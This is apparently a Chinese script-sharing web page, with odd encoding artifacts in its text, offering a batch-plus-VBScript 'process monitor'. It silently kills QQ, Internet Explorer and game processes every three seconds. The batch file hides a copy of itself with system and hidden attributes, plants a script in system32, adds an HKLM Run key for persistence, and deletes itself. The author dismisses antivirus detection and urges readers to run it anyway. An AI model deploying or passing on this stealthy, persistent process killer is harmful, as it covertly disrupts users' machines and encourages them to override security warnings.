快捷導(dǎo)航

進(jìn)程監(jiān)控實(shí)現(xiàn)代碼[vbs+bat]

更新時(shí)間：2021年11月28日 13:13:53 投稿：mdxy-dxy

這是用BAT寫的，主體是VBS，所以放在VBS分類了，功能如果進(jìn)程中有QQ.exe、iexplore.exe、client.exe、game.exe進(jìn)程則會(huì)自動(dòng)結(jié)束進(jìn)程

運(yùn)行后會(huì)在%windir%\system32\目錄下生成jk.vbs，
并且自動(dòng)添加注冊(cè)表啟動(dòng)項(xiàng)，另外在D:\會(huì)生成一個(gè)隱藏屬性的JK.VBS，
3秒間隔監(jiān)控進(jìn)程，如果進(jìn)程中有QQ.exe、iexplore.exe、client.exe、game.exe進(jìn)程則會(huì)自動(dòng)結(jié)束進(jìn)程。

主要功能就是不讓一些進(jìn)場運(yùn)行，很多機(jī)關(guān)不讓大家運(yùn)行qq、大型游戲，打開網(wǎng)頁等

@echo off 
attrib -s -h -a -r d:\jk.bat 1>nul 2>nul 
if exist d:\jk.bat del d:\jk.bat /q 
copy %0 d:\jk.bat /y >nul 
attrib +s +h +a +r d:\jk.bat 
if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs 
echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul 
echo Do>>%windir%\system32\jk.vbs 
echo WScript.Sleep 3000>>%windir%\system32\jk.vbs 
echo strComputer = "." >>%windir%\system32\jk.vbs 
echo Set objWMIService = GetObject("winmgmts:\\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs 
echo Set colItems = objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs 
echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs 
echo For Each objItem in colItems >>%windir%\system32\jk.vbs 
echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs 
echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs 
echo Then objitem.Terminate()>>%windir%\system32\jk.vbs 
echo Next>>%windir%\system32\jk.vbs 
echo loop>>%windir%\system32\jk.vbs 
start %windir%\system32\jk.vbs 
del %0 /q

jk.vbs內(nèi)容

Do 
WScript.Sleep 3000 
strComputer = "."  
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")  
Set colItems = objWMIService.ExecQuery( _ 
"SELECT * FROM Win32_Process",,48) 
For Each objItem in colItems  
If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _ 
objItem.Name="client.exe" Or objItem.Name="game.exe" _ 
Then objitem.Terminate() 
Next 
loop

因?yàn)樘厥庑?，?huì)被360報(bào)毒，運(yùn)行請(qǐng)放心執(zhí)行。

您可能感興趣的文章: